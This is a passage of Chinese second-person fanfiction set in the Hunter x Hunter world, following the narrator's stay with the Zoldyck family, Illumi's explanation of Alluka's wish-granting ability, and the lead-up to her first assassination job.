“第三次是我来到1990年之前,或许是因为我们有过约定,你杀死了我。这一次获得的能力是[控制],通过血液将念植入活着的生物内部,从而在24小时内控制对方的行动,并感知位置。到时间会自动解除,也可以提前解除,应该没有副作用。植入的方式是喂血和输血两种。因为我的血有点特殊,所以我只用动物练习过,动物不会染上花吐症。而对人类的控制,只在你身上试过。”
说到这里,你发现自己忘了一件事。你原本要再为伊路做一次检查,却因为昏迷完全错过了时间。虽说揍敌客家肯定有专业人士,但你还是有些在意。比如,你有没有缝错位置……
“伊路,你的身体恢复得怎么样了?有检查过吗?”
“嗯?”伊尔迷顺着你的目光看了看自己的衣服,“啊,你是指这个。已经完全好了。”
他伸手勾住卫衣的领口,向下拉了拉,露出一段光滑干净的脖颈。
“欸,你不会留疤吗?”
得到了肯定的答复后,你深感羡慕。
“没什么后遗症就好,我还是第一次给人做手术。”
你继续中断的话题,“然后是第四次,在那个奇怪的村子里。”
你不想回忆那时候的事,关于小优、没有舌头的村民、蛇形的怪兽、摔倒的孩子,还有笑着把贝壳递给你的小林。
“小优在整个村庄布置了一种阵法,只要用念触发,就能在一瞬间……杀死所有人。再用他们的生命进行……[交换],可以得到红线。红线只要不断裂……就能在一定范围内,无条件控制所有生物。”
你艰难地说完,看着指腹上整齐的切痕,攥紧手掌。
“这项能力在那时还只是设想,我尝试着将自己的血牵拉成线,没有成功。我不知道小优是怎么发现的。他对我说,''那条路就在那里''。可是我不想……我不想那么做,我……”
“我调查过那个村庄。”
“什么?”
你从情绪的漩涡中短暂的抽离,伊尔迷拉过你的手,将你无意识掐进掌心的手指一根根掰开,而你只盯着他的眼睛,“你查到了什么?”
41.No.006 家人
“那片区域属于一个叫铃木缘的猎人。”
“铃木缘,猎人。”
你重复着这两个名词。
你知道[猎人],这是一种特殊的职业。
要想成为猎人,就必须先通过专门的测试。合格者会得到一张猎人执照,执照会给生活带来诸多便利,猎人也可以凭借执照,去往这个世界上的禁地。
猎人,即探索未知之人。
“铃木缘,是一个什么样的猎人?”
“他的资料在猎人网络上是机密。我用家里的情报网继续调查,只得到了一条信息——他是一个罪犯猎人。”
“类似赏金猎人那种吗?”
“不,他只是单纯的抓捕罪犯,没有雇主,也没有去领取猎人协会的赏金。”
“你的意思是……”
你想起封死的村庄,得知你要离开时面露恐惧的村民。
“那个村子里的人都是被他抓去的。”伊尔迷用肯定的语气说道。
你沉默了很久都没有说话。
“啊,这只是我的推测。还有一点,看来你没有注意到——葵,你在某方面真的有些迟钝——''铃木缘''和''三叶葵''这两个名字的构成非常相似。他和你来自同一个地方吧?”
非常合理的推测。
“我不知道。”
无论是村庄的真相,还是铃木缘与小优,亦或是与你的关联。
“葵,你很在意被你杀死的那些人吗?”
你在意吗?
在意也于事无补。经历过那个夜晚,还记得它的人,除了小优,就只剩你和伊路。
“……那天,小优跟我说,如果不献祭掉村子里的人,米亚,那条幻兽就会先吃了他们,再去吃掉阿尔达市的居民。我很害怕。”
你的手指不自觉的发抖,温度从指尖流失,这让你眷恋于伊路的掌心,那里至少是温暖的。
“我很害怕。在目睹那一切发生时,我很害怕,不是怕杀人,而是怕自己犹豫太久,剩下的人命不能交换到足够的红线。
“哈,我就是这样想的。很可笑吧?明明是我自己做出的选择,是我亲手杀了他们,我现在却像个受害者一样,为此痛苦。
“我不止一次的想,我真的有资格决定他人的生死吗?就算那座村庄里生活着的都是恶贯满盈的人,难道我就可以心安理得的杀了他们吗?这种行为多傲慢。
“可是,即便我为此痛苦,我同时也在为自己开脱。我会告诉自己,这些都是有原因的啊,村民们的死是不得已的选择,病人们的死是无意间的过错,没有一件是单纯为了杀戮而做。
“我厌恶,也很恐惧这样的自己。尤其是当我想到,或许有一天,我会对此习以为常,连痛苦都不再有。一想到这个,我就怕的不得了。”
伊尔迷将你从地上拉了起来。
他的气息和这个房间非常,非常相似,却让你渐渐平静下来。
良久之后,你问他,“这也是交换的内容吗?”
“这是朋友的拥抱。”
你闭上眼睛,笑了一下。
“我以前总在故事里看到,杀手是没有感情的,你们真的能跟人交朋友吗?”
“杀手只是一种职业,暗杀也只是工作。”伊尔迷的声音总是很平静,“家人以外的生命都不用在意,这是我一直以来接受的教育。”
“我们的成长环境完全不同。家人和朋友,对你来说也是不同的吧?”
伊尔迷没有回答这个问题,他的手掌放在你的脑后,很轻地抚摸着你的头发。
“你有感觉好点吗?”他问你。
“好多了。”
与人倾诉本身就很能释放压力。倒是伊尔迷的做法让你有点意外。
“我以为你会说,再往我的脑子里扎一根针,让我变成你的傀儡,就不会为这种事纠结痛苦了,这样的话呢。”
“我考虑过的,但是葵不是不愿意吗。”
“……你干嘛突然说这种话。”伊尔迷大概不会觉得自己的语气有什么问题。
“那么,按照约定,把念针拔掉吧,伊路。”
“好。”
你尽量不去想象画面,头皮被触碰到的感觉却格外清晰,后脑勺一阵刺痛,你抓着伊尔迷的胳膊,站稳后看到了他指间沾血的念针。他的指甲还没有收回去,上面同样沾着你的血,你有些头晕。
“我的脑袋,现在是破了一个洞吗?会、会漏风吗?”你好像在胡言乱语。
“只开了很小的口子,睡一觉就恢复了。”
“噢。”你点点头,晃了一下,摔进他怀里。
空气中弥散着淡淡的血腥味,伊尔迷很熟悉这种味道,也很熟悉这个房间,这里只用来谈话实在有些浪费。但还是算了。
他想起那天在河边拦住他的人,“小优”无疑是个假名,对方也完全没有隐瞒自己会说话的事实。早在第一天,他没能成功杀掉这个人时,就意识到了不对劲。
[揍敌客家的少爷,要来玩个游戏吗?]
对方的脸上挂着扬扬自得的笑,一语道破他的身份,仿佛笃定了他会答应。
“只要把葵变成我的家人,我就赢了。”伊尔迷抱起怀中昏倒的人,“可惜没有额外的赌注。嘛,先带她去包扎吧。”
*
你在揍敌客家住了一个多月后,终于养好了伤,要正式拜见家主,也就是伊尔迷的爸爸了。作为客人,时隔这么久才去拜会主人,实在是太过失礼。
虽然你是因为亚路嘉的能力才陷入昏迷,还差点被杀,但是你的确实现了愿望,还受到了揍敌客家的管家们的悉心照顾。所以,对于这次见面,你可谓是严阵以待。
然而就在前一天,你先见到了伊尔迷的妈妈。你当时在屋子里紧张得直打转,不停的在脑中预演着可能的谈话内容。
伊尔迷都说了重要的只有家人啦,他爸爸会怎么看待你这个突然冒出来的“朋友”呢?
“你就是伊尔迷带回来的女孩子吗?”
背后传来一道陌生又好听的声音。
你转身发现门口站着一位身穿和服的年轻女性,她戴着眼镜式样的仪器,黑色的显示屏正中亮着红光。单看下半张脸就知道是个美人,而且和伊尔迷长得很像……
“夫人您好,我是葵,这些天来多有叨扰,真的是非常抱歉!”
你弯下腰,超大声地说出了上面这句话。
“真是有活力的孩子呢,伊尔迷也真是的,一直不让我来看你。”
基裘夫人的声音里带着笑意,一瞬间靠近了你,你浑身寒毛直竖,被她拉着手上下端详。
“嗯,果然很可爱,你今年十八岁?”
“是、是的。”你看不见基裘夫人的眼睛,虽然她在微笑着,但你不会忘记她原本也是打算杀了你的。
“听伊尔迷说,你是从十年后来的,那这个世界的你岂不是只有八岁?”
“呃。”
啊啊啊伊尔迷明明答应你会挑挑拣拣的告诉他爸妈,竟然把这件事也说出来了。
基裘夫人抬手压住嘴角的笑意,“要是在你小时候就把你捡回家多好,我一直想要个女儿呢。”
你不由的想象了那个画面,如果当时捡到你的不是村子里的人而是基裘夫人,你就会被带到揍敌客家,当做杀手培养,然后……不行不行,太恐怖了。
“不用这么麻烦啦,夫人您要是愿意,现在就可以把我当做女儿呀。”
这句话好像不太对,按基裘夫人的年纪,怎么着也不可能有你这么大的女儿,你这么说岂不是在占人便宜?可是说出去的话如同泼出去的水,你为了不让气氛尴尬,顺口就接下去了。
基裘夫人脸上的指示灯闪了闪,发出信号不良的滋滋声,看着不像是生气——
“你这孩子真可爱!跟我来!”
基裘夫人一把抓住你试图缩回的手,不由分说的把你拖出了房间。
“哎哎哎?!夫人,我们要去哪里呀?”
你被迫跟着基裘夫人在揍敌客家的宅子里狂奔。不是,夫人是怎么做到穿着和服还能跑得这么快的啊?
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可能是两分钟后,你们停在了一间超大的和室前。基裘夫人的造型丝毫不乱,优雅地拉开移门。
!!!
一整面墙的衣服!
“夫人,这些是……”
“哎呀,叫什么''夫人'',直接喊''妈妈''就好了嘛。真是的,伊尔迷那里都没什么好看的衣服,他从八岁起就不听我的意见了。奇犽最近也不让我打扮他……真是寂しい……”
你茫然又混乱地被基裘夫人拉到衣橱前,她边念叨边在悬挂着的各式衣裙里挑拣。
“试试看这件怎么样?这些都是我专门准备的呢。快换上让我看看。”
“可是……这……”
你抱着被塞到怀里的和服进了更衣室。
片刻后。
“啊——!!”
基裘夫人发出了高分贝的尖叫。
“果然!果然很合适!”
基裘夫人的电子眼疯狂闪烁,你被她拉着转了一圈,艰难地开口,“夫人,我觉得……”
“再去试试这一件!”
“……好。”
这次是一条蓬蓬裙,你还是头一回穿这种风格的衣服。
“小葵,妈妈真是太感动了。”基裘夫人捧着脸,一副愿望得到满足的表情,“你去把那些都试了吧。”
“……!!!”
傍晚时分,你见到了从外面回来的伊尔迷。你几乎是爬着回了房间,扶着门框直接坐到地上。
“伊路,搭把手。”
你满脸的心如死灰。
“你中毒了?我记得让管家调整过剂量。”
伊尔迷摘下耳机,从电脑前起身。
“不是,是夫人她……她……”
你都不好意思说自己是换衣服换累了,到后面完全是凭着意志力才没倒下去。
“哦,你刚从妈妈那里回来啊。照片我看到了,相比之下裙装不太适合你。”
“是吧,我也这么觉得。”你生无可恋地躺倒在床上。
“嗯。”
空气里只剩下电脑运行的白噪音。
“什么照片?!”
你猛地从床上弹起来。
“……”
闪动的屏幕上是你绝望的脸。
基裘夫人居然把你换上的每一身都拍了下来,还都发给了伊尔迷。
崩溃。
大崩溃。
所以基裘夫人的能力不仅是监控,还可以拍照传递信息?好可怕!
“你能不能忘掉?”
你有点欲哭无泪。哪怕现在网络还不发达,这些也足以成为你的黑历史了。
“放心,这些照片最多只会在家族内部流传。”
“……你真的觉得这能安慰到人吗?”
你明天可是要去见家主的啊!更别说还有伊尔迷的祖父、祖母、高祖父,你通通都还没见过呢!
大概是你的表情太扭曲,伊尔迷思考了一下。
“那么,作为交换,给你看这个。”
还有什么东西的社死程度能比得上你吗?
你不抱期望地看向显示屏。
“噗。”你捂住嘴,“噗哈哈哈哈哈!这是,这是你几岁的时候啊?”
哪怕画质粗糙,你也一眼就认出了打扮得像个洋娃娃的伊尔迷。他睁着大大的猫眼,面无表情地看着镜头。
“八岁。”
“哈哈哈哈,你旁边那是什么?”你擦了擦笑出来的眼泪,指着画面上的一团圆形不明物。
“糜稽。”伊尔迷停顿了一下,“他穿不下妈妈准备的衣服,还嘲笑我。”
“这……有点过分吧?”
“嗯,我花了点时间纠正他的想法,但他显然不是可造之材。”
“噢。”你似懂非懂的点头。其实你第一次见到糜稽的时候就很奇怪,在揍敌客家的训练强度下,怎么会有人能保持那种体型?
“你现在感觉好点了吗?”
“欸?好像确实……”伊尔迷这家伙,还挺会交朋友的嘛。
42.No.007 选择题
时间是上午十点。
地点应该是揍敌客家的会客室。
人物是你和伊尔迷的爸爸——一位身高接近两米,气势非常具有压迫感的大叔。
你拘谨地坐在沙发上。虽然沙发很柔软,让你很想直接歪下去,但你还是挺直了腰背,打起十二万分的精神。
伊尔迷的爸爸名叫席巴,有着一头银色的长卷发(解开了你关于奇犽发色的疑惑),看你的眼神像在打量着一件物品(大概是眼神很冷酷的感觉)。
你按照惯例先向长辈问好,表达了自己没有及时拜会的歉意,在他们家白吃白喝的不好意思,以及对这段时间以来受到的各种关照的感激,然后恭敬地等待长辈发问。
“你为什么会想跟伊尔迷做朋友?”
一上来就是好古怪的问题,一般的问法是“你们是怎么成为朋友的”吧?
“大概是因为……我们有过命的交情。而且我觉得他人还不错,处的来。”
你小心翼翼地回答。
其实你对朋友的定义比较宽泛,“有好感的人”在你这里就是单方面的朋友了,只是相比你认定的“挚友”,还有相当多的距离。
“你在知道伊尔迷的身份之后,还这么想吗?”
“……其实我有动摇过。但一方面我尊重未来,另一方面,我们也确实没有值得分道扬镳的矛盾。”
关键原因之一是您的儿子说不做朋友就会杀了我。这句话你没有胆量说出来。
“哦?那你在什么情况下会背叛朋友?如果你和伊尔迷的命只能二选一,或者你要在他和你重要的人之间做选择呢?”
头疼。好头疼的选择题。
“我相信伊尔迷不会让自己落到这种境地,把命交到我手上这种。”你观察着席巴的脸色,斟酌着给出答复。
“退、退一万步讲,如果真的存在这种情况,肯定是视当时的情形而定,我会把条件都放在天平上……”呃,这句话好像不太对,你及时打住,“如果是现在的我,在这种不得已的情况下,我希望由他来做选择。”
你答完后,室内一片寂静。
你怀疑自己要完蛋了,但你肯定不能昧着良心说一切以伊尔迷为先,你们才认识两个月呢。
你一点都不喜欢做这种选择,这和选今天晚上吃什么可完全不一样。
“对杀手而言,朋友是很危险的。”
你正襟危坐,配合地点点头。
“杀手习惯在黑暗中行动,交朋友意味着将自己的一部分暴露在日光下,必然会带来弱点。暗杀是长久蛰伏,寻求一击必杀。这种时机稍纵即逝,作为猎手要万分谨慎。”
你再次点头。
“这些道理,伊尔迷一直都很清楚。但他依然说服我们留下你。”
“……是。”
你攥了攥手心的冷汗。
“我听说你不喜欢杀人,你对暗杀任务怎么看?”席巴话锋一转。
你反应了一秒钟,想起伊尔迷曾说过的“只是工作”,原样复述了一遍。
“那么如果给你派发家族任务,你能做到不带私情的杀死目标吗?”
“家族,任务?”
你感觉自己不太理解他的意思。
“伊尔迷希望你能成为家人,这就是我们留下你的原因。但在揍敌客家族,完成任务是最低限度的要求。你能做到吗?”
席巴审视着你。
“……不能只是做朋友吗?”
“杀手不需要朋友。”
原来这就是伊尔迷认为的“不会对揍敌客家产生威胁”的理由。你真的搞不懂他在想什么。
“你考虑好了吗?”
“我能做到。”
如果一定要做选择,毫无疑问,你会把自己的命排在陌生人之前。不能毫无缘由的杀人,不能单纯因为自己的喜好杀人。你能坚持的唯有这个。
“我会让伊尔迷把任务信息交给你,前几次由他协助。关于暗杀的知识,他也会教你。”在你做出选择后,席巴身上的压迫感减轻了稍许,“你还有什么问题吗?”
“……有。”
“你问。”
“既然我和伊尔迷成为了家人,那么,按年龄算,到底是他喊我姐姐还是我喊他哥哥呢?”
面对你真诚的发问,席巴沉着冷静的脸上出现了一丝裂痕。
“这个问题,你去问伊尔迷。”
*
直到走到阳光下,你才发现背上的衣服已经被冷汗浸透。
啊,阳光好温暖,好想活在阳光下。
你略显中二的想法止于一颗飞来的足球。
你抬手接住了它。
“笨蛋——足球应该用脚踢回来呀。”
让我看看是哪个家伙这么没礼貌。
你面带微笑看向声音的来源——一颗在阳光下过于耀眼的银色脑袋。
“哦,原来是要踢回来呀。”
你松开手里的足球,一脚踢飞。
“啊——”跑过来的奇犽张大了嘴巴。
你满意地看着足球消失在天边。
“你你你,你好可怕!”
“啊,一不小心踢过头了呢。”你笑眯眯地看向他,“下午好呀,奇犽,怎么只有你一个人?”
“大哥出去做任务,二哥整天待在房间里玩电脑,柯特被妈妈拉去换衣服,当然只有我了。”奇犽满脸的无所谓,“哎,你把我的足球踢走了,那就你来陪我玩。”
“陪你玩倒是没问题。”毕竟你这会很闲,刚好也需要做点不消耗的活动来整理思绪,“但不是还有亚路嘉吗?”
“亚路嘉?”奇犽露出茫然的表情。
“就是那天跟你一起来找我的孩子呀?你们一直在我耳朵边上说话,好像在说什么''治疗''。”
你看到奇犽皱起眉,两只手都按住了脑袋,表情变得有些痛苦。
他的状态给你一种强烈的熟悉感。这是努力回想着某件事,记忆却无法突破限制的表现。不对劲。
“抱歉,应该是我睡迷糊记错了。”
你微笑着弯腰,把奇犽的手从他的脑袋上拉开。噫,作为一个小孩子,他的力气有点太大了。
“奇犽,你想玩什么?堆沙堡怎么样?”
你们最后什么也没有玩成,因为奇犽晕了过去。
你觉得自己真的要完蛋了。
为了对自己的行为进行些许弥补,你去寻找了那颗足球。你是朝着大门的方向踢的,它最终落在了三毛的窝里,因为沾染了主人的气息,被三毛圈了起来。
[有一件事
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真的很抱歉,但我需要你的帮助。]
你蹲在树上,苦恼地发出了邮件。
几分钟后,你的手机滴滴滴的响起来。
欸?竟然是电话?你险些把它摔下去。
“这个时候打电话没问题吗?你不是还在做任务?”
“发生了什么事?”
伊尔迷的声音从手机另一端传来。很奇妙的,听到他的声音时,你不安的内心平定了一些。
“我把奇犽的足球踢到三毛的窝里了。”你抠了抠脚下的树枝,木屑陷进指甲缝里,“还有,我在奇犽面前,提到了亚路嘉,他晕过去了。”
“……抱歉,伊路。”
“三毛还不熟悉你的气味,你先回去,足球我会拿回来。”
哎?伊尔迷怎么知道你在这里?你抬头四处看了看,附近只有你和三毛。
电话那头的伊尔迷继续说道,“我刚刚的确感觉到念针被触动了。只是提到名字没关系,我会再加固。看来爸爸没有告诉你——葵,以后不可以在任何人面前提起亚路嘉。”
“为什么?他……怎么了吗?”
“他的能力太过危险,在能完全控制之前,只能是家族内部的机密。”
“许愿,危险吗?”
你想起亚路嘉朝你伸出的手,如果危险的不是许愿,那是许愿之前需要支付的代价吗?
“先就这样,具体的我会见面告诉你。”伊尔迷挂断了电话。
你的疑虑愈发深重。
打从你离开家,好像就一直在被什么推着走。医院、流星街、机场、维多市、不具名村、枯枯戮山……你去过的这些地方,究竟有多少是出于你的主观意愿,又有多少是被迫做出的选择?甚至于,你的主观意愿是否也是受到暗示的结果?
单看你回到1990年这件事,就存在着一个你无法解开的逻辑死结。
首先假设伊尔迷是在你的主动要求下将你杀死,那你一定有一个必须回到十年前的理由。你一直以来都没有什么远大的目标,以前离开村子只是想独立,只是想读大学,现在的你只想找到头部意识。可是,如果你没有死去,你们根本就不会分离。那你为什么要这么做呢?
你无论如何也想不明白这件事。
围绕在你身上的谜团,牵扯出一个又一个新的谜题。你就像站在漩涡里,无所适从。
“小葵!原来你在这里,晚上我们一家人一起吃饭吧。”
突然出现的基裘夫人打断了你的思绪,她热情地拉住你,上下看了看,笑容淡下去,“你怎么没穿妈妈送你的衣服,是不喜欢吗?”
“呃,那倒不是……”
“那就去换上吧,女孩子应该穿得漂漂亮亮的。”
你不得不跟着基裘夫人往回走。
你还没有完全接受这个设定,感觉就像成年之后被人收养。但基裘夫人的态度又自然得好像真的有你这么个女儿,以至于你又觉得自己像是成年之后被亲生父母找到……这肯定不可能啊!
你在脑子里算了算年龄。
等等,如果你不是单纯的穿越,而是转世……好像真的有可能!上辈子的记忆没洗干净,这辈子又失忆之类的,你在故事里经常看到啊。更何况你的长相还变了……
嘶。不能再细想了。
43.No.008 未知
“伊路伊路,你过来一下。”
“嗯?”
你把伊尔迷拉到客厅的一根柱子后面,发现其他人没有注意到你们,才压低嗓子说,“我有个问题想问你。”
“奇犽已经没事了。”
“嗯,我刚刚看到了。”
奇犽像是完全忘了下午的事,现在正在客厅的另一边玩悠悠球。
伊尔迷轻轻抬了下眉毛,这个表情的意思是“那你还在担心什么”。
“我是想问——”你凑近他的耳朵,“我们俩没有血缘关系吧?”
“?”
“我觉得,夫人对我有点太热情了。所以你们家,没有走丢过什么孩子吧?呃,年龄在糜稽和奇犽之间的。”
你越说越难为情,但这种问题总不好直接去问基裘夫人。
“在你昏迷的那一个月,我们抽取了你的一部分血液做了检测。”
“然后?”你有点懵。
“你是A型血,揍敌客家的人也都是A型。”
“……欸?!该不会?我——”你瞳孔地震。
“当然不可能了。弟弟们都是我看着出生的。”伊尔迷的嘴角勾起一个很小的弧度,“葵,你真的很好骗。”
“……”
这种有些无语又松了一口气又隐约失望的感觉是怎么回事。
“好吧,还有一件事,你可别再乱说了。”你再次左右看看,很好,这个角落目前只有你们俩,似乎也没有监视器的存在。
“现在有谁知道我是从十年后来的?”
“我告诉了爸爸妈妈,爸爸应该会告诉爷爷,奶奶不在家,应该不会专门告诉她。”
比你预想中好一点。
“那这件事你还是继续帮我保密。我还没搞明白其中的原理,万一做了什么影响到未来就糟了。”你按着伊尔迷的肩膀,郑重说道。
“好。”
“啊,我差点忘了。既然我们是家人,我以后……呃……应该把你当做弟弟还是哥哥呢?”
“?”伊尔迷眨了眨眼睛。
可恶,这个问题也很关键啊。虽然你没有和兄弟姐妹们相处的经验,但对待哥哥和弟弟还是不同的吧?在年龄差没那么小的情况下。
你只好硬着头皮解释。
“你看,虽然现在我比你大3岁,但实际上你比我大7岁。我要是一直待在这边倒也没什么,万一哪天回去了,会有点混乱吧?”
“哦,原来你是这么想的。”伊尔迷思索着点点头,“我明白了。我们可以直接结婚,这会是比收养关系更亲密的家人。”
“……”不是,你明白什么了?
你有点跟不上他的思路。
伊尔迷显然误会了你的表情。
“你不愿意吗?但是弟弟们年纪还小,爸爸妈妈不会同意的。”
结婚就不用纠结年龄问题了,原来如此,你慢半拍想到。
“那他们就会同意我跟你吗?”
你一不小心顺着他的思路问下去。
“会。”
“欸?”
“以家族优先,这种做法很合理,而且我们相处很合拍,所以他们会同意。”
“不对,这不是同不同意的问题,而是——”你终于勉强找回自己的思路,“结婚对你来说也太早了,你今年才十五岁啊!我又不是变态!”
“那我们十年后再来讨论这件事。”
“可以是可以……但你未免也想的太远了。”
*
由于你没有得到有效的回答,你决定直接把伊尔迷当做同龄人看待,也就是依然按照朋友的方式相处。考虑到对方把你当做家人,那就,朋友之上吧。
“晚上好,马哈高祖父,桀诺爷爷,爸爸,妈妈。”你的脸上挂着得体的笑容,和你新的家人们问好,“伊路,糜稽,奇犽,柯特。”
你突然发现揍敌客家的五个孩子名字是连在一起的,奇犽岂不是通过推理就能得知亚路嘉的存在?
欸,这样一来,糜稽和奇犽之间根本不可能存在第三个名字,难怪伊尔迷总是说你迟钝。==
揍敌客家的晚餐氛围比你想象中轻松得多,在席巴将你正式介绍给其他人之后,大家就开始了自由聊天模式。你听到席巴和桀诺爷爷在讨论一种新型毒药,糜稽在向奇犽炫耀他最新通关的游戏(奇犽对此完全不感兴趣),马哈高祖父和柯特则全程安静。
你的右手边坐着基裘夫人,左手边坐着伊尔迷。基裘夫人对你的抗毒训练很是关心,你表示在这段时间的锻炼下已经不怎么吐血了。
“我就知道你是有天赋的孩子!”
“谢谢您的夸奖。”
“哎呀,还这么懂礼貌。对妈妈不用这么客气啦。”你怀疑如果给基裘夫人的电子眼装上屏幕,上面会飘过一串红心。
你在温馨与混乱中解决了晚饭。
“给你换个房间怎么样?妈妈会用心布置的,也可以按照你喜欢的风格……”
“我觉得不……”
“妈妈,我们先回去了。”伊尔迷差不多跟你同时吃完,他极其自然地拉住你的左手,带你站起来,“葵继续住在我那里就好,指导她训练和任务会更方便。”
“也好,你明天就带她去做暗杀任务吧。”这次说话的是席巴。
“好的,爸爸。”
离开餐厅后,你松了口气。
“刚才真是多谢了,我不知道怎么拒绝才好。”
“你可以直接说出来,妈妈她不会介意的。”
“那我下次直接回绝掉?”
“可以,但妈妈不会听。”
那不还是不可以吗!==
“对了,明天的任务……”
“就在巴托奇亚共和国境内,我会协助你,不用担心。”
你不是担心。
你知道伊尔迷不会只是协助,一定还有监视的作用。席巴要看到你的决心。
好吧,走一步算一步。
“你不喜欢穿这身衣服吗?”
“行动不大方便。”
你现在穿着的是一身紫阳花纹样的振袖,凭心而论,你觉得这件和服非常漂亮,而且一看就很贵重,你只是不习惯穿上之后的约束感。
“工作偶尔会有需要变装的情况,不过你可以慢慢适应。”
“好。”
你跟着伊尔迷走在揍敌客家昏暗的回廊里,注视着他落在地板上的影子,“伊路,你还没有跟我说那件事。”
你说的“那件事”,是指他在电话里没有说完的部分。
*
几分钟后,你们来到了一个熟悉的房间。不知道是不是你的错觉,空气里那股若有若无的血腥味似乎更重了。
墙边多出两把椅子。这意味着你不用像上次那样坐在地上,也就不会弄脏夫人给你的新衣服了。感谢。
你们面对面坐下。
“你认为亚路嘉的能力是什么?”
“先向人提三个要求,再满足一个愿望。”你回忆着当时的场景。
“那么你认为[要求]和[愿望]是等价的吗?”
“不,在许愿之前,亚路嘉不可能知道对方的愿望有多大,除非他只能实现与要求等价的愿望。可是你当时跟我说的是,''什么愿望都可以''。”
“没错,亚路嘉可以实现任何愿望。同时,亚路嘉提出的[撒娇请求]和[愿望]的内容是等价的。”
“这不合理。”你皱起眉。
“但它们的顺序要反过来。”
伊尔迷伸出三根手指,“亚路嘉是先满足一个[愿望],再向任意一个人提出三个[撒娇请求]。也就是说,前一个人许愿的代价要由后一个人偿还。”
伊尔迷说完后,你立刻就意识到了这项能力的可怕之处。
“如果后面的人还不起,或是拒绝偿还,会怎样?”
伊路当时让你“按亚路嘉说的做”,如果你拒绝了,会发生什么呢?
“在请求期间死亡,或是连续拒绝亚路嘉的四次[撒娇请求],都视为请求失败,[拒绝者]和[拒绝者最爱之人]会同时死亡,也就是说,最少会死两个人。
“愿望越大,代价越大,请求失败时牵连的死者也就越多。这种情况下,不止是[拒绝者]和[拒绝者最爱之人],[与拒绝者长时间相处之人]也会按照相处时间的长短依次死亡。”
“这些规则……你是怎么知道的?”
你看着伊尔迷漆黑的眼睛,心里其实已经隐约有了答案。
“通过实验。揍敌客家的管家们都签订过协议,是属于家族的私有财产。”
不,他说的不对。就算管家本人的生命属于[揍敌客],管家的爱人、亲人、朋友呢?
“亚路嘉的能力,还有别的规则吗?”
“有。每当有人因此丧命,[撒娇请求]的难度就会重置;亚路嘉不能向不知姓名的人提出请求;请求期间,请求的对象不会更换;以及,同一个人不能
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连续向亚路嘉[许愿]。这就是实验得出的全部。为了整个家族的安全,必须限制亚路嘉的活动,你能理解吗?”
“……如果许愿''亚路嘉不再提出撒娇请求''呢?你们试过吗?”
伊尔迷的表情告诉你,他们没有。
“你说过,家人是最重要的,亚路嘉也是家人吧。或许只要这样许愿,他就可以像一个普通的孩子一样长大呢?”
“葵,在这个世界上,没有人会拒绝强大的力量,哪怕这种力量附带着危险。为了家族,我们会选择制约,同样,为了家族,我们不会选择放弃。而且,亚路嘉不是家人,他是从别的地方来的[未知生物]。”
你知道自己不可能改变伊尔迷的想法,揍敌客家有一套独有的思考逻辑,在长期的教育中根深蒂固。
“这是家族内部一致的决定吗?”
“是。”
“包括给奇犽插上念针?念针的作用只是让他忘了亚路嘉吗?”
“唔,这件事要向奇犽保密哦。这是爸爸和我的决定。”伊尔迷的表情第一次出现了变化,似乎有点纠结,“奇犽的性格不太像杀手,只是做一点矫正。只能告诉你这些,多余的不要再问了。”
多余的不要再问?是不能告诉你他的能力,还是不能告诉你关于奇犽的事?
“伊路……是有什么[制约]吗?”
“被你看出来了。”
你只是猜测,而[制约]的效果就是——
“我在上次给你插的念针里附加了一层[制约],在这个房间,只有我们两个人的前提下,你对我说的一定是真话。”
你的表情逐渐麻木。
“还有呢?”
“相应的,拔出念针后,再次处于这种条件下,我也必须对你说真话。”
“……”他真的很会玩。
“也就是说,我现在可以随意向你提问咯?”
“可以,但我可以选择不回答。只要不说谎,就不算违反规则。”
“那你上次还用''交换''这种迂回的方式,你明明可以从我这里挖出来更多东西嘛。”
不仅如此,他还在你情绪异常的时候安抚了你。这难道是一种新型PUA?借此让你对他产生愧疚与好感?
“如果你不撒谎,但是只说一部分真话呢?这样也行吗?”
“可以。”伊尔迷拿出手机看了一眼,“葵还有要问的吗?再过十分钟就会有一名管家来打扫这个房间,那个时候[制约]就解除了。”
“我想知道你上次为什么会愿意拔出念针。你完全可以不进行交换,单方面向我提问。而且只要不拔出来,你也不必在这里回答我的问题了。”
“我想成为你信任的人。平等的交流方式有助于达成这一点。”伊尔迷像是早就准备好了答案,不假思索地回道。
无懈可击的理由啊。
“获取我的信任,然后呢?”
“让你成为我的家人。”
怎么感觉又绕回去了。
“说到底,你为什么总是执着于这件事?让我成为家人……肯定不会每个想跟你交朋友的人都被你变成家人了吧?”
“你的能力很特别,你身上也有很多我感兴趣的地方。”伊尔迷稍作停顿,“而且没有''每个'',你是第一个说想要跟我做朋友的。”
那是因为你那时候不知道他的真实身份啊,要是你从一开始就知道这个人是伊尔迷·揍敌客,你都不确定自己还会不会救他。
“那你说,你有什么感兴趣的?除了我的能力以外,我应该跟其他人没有什么不同。总不能是穿越,或者,人格分裂之类的吧?”
“你很迟钝。”
“?这不是夸奖,对吗?”
“你在听我说起亚路嘉的能力时没有意识到吗?亚路嘉的三个[撒娇请求]是等价的。”
“……”你明白了他的意思。
“拥抱、糖果和指甲,显然是不等价的请求。只有你是例外。”
“为什么?”
“原因[未知]。”
……围绕着你的谜团,又大了一些。你垂下头,看着暗灰色的地面,想了想。
“我许的愿望,大吗?”
“你那一次的代价很小,如果你想问这个的话。”
“……嗯。”
房间里安静下来,仿佛只有你一个人的存在。
“伊路,我没什么想问的了……再陪我坐一会吧。”
“好。”
44.No.009 任务
你不知道那天晚上究竟有没有人来打扫房间。或许是你跟伊尔迷聊得太晚,你也不记得自己是怎么回去的。
你久违的做了一个梦。
你趴在一个人的背上,两边是倒退的暗灰色石墙,他走得很平稳,垂落的长发偶尔抚过你的手臂,带来一丝丝的痒。
你抬起一只手揉了揉眼睛。
“欸,我睡着了吗?”
梦中的你是知道自己在什么地方的,所以又安心地趴回去,把他的一束头发抓在手心。
“我又忘了刚刚在做什么了,大哥可以再给我看一眼任务讯息吗?”
“左边的口袋。”
“好——”你从他的口袋里翻出手机,打开最新接收的邮件。
“摩拉尼市的市长维特·莱西是一名人体收藏家,他的地下室里保存着一具完好的尸体,形态是约为十五岁的少女。哦……委托人希望我们在杀死维特的同时带出那具尸体。大哥,我们什么时候接这种工作了?”
“你再看一眼报酬。”
“……欸?带出尸体的额外酬金是暗杀委托的十倍!这个人真奇怪。”
你退出了邮件,把手机放回去。
你们走出了长长的通道,外面是一望无际的树海。
“精神恢复了吗?”他稍稍侧过头问你。
“完全没问题!”你神采奕奕地举手。
……
“您好,请问莱西市长是住在这里吗?”
“小姑娘,有事情找市长的话,就去政府大楼。”
“可是他不在那里呀。您可以带我去找他吗?”
“……”
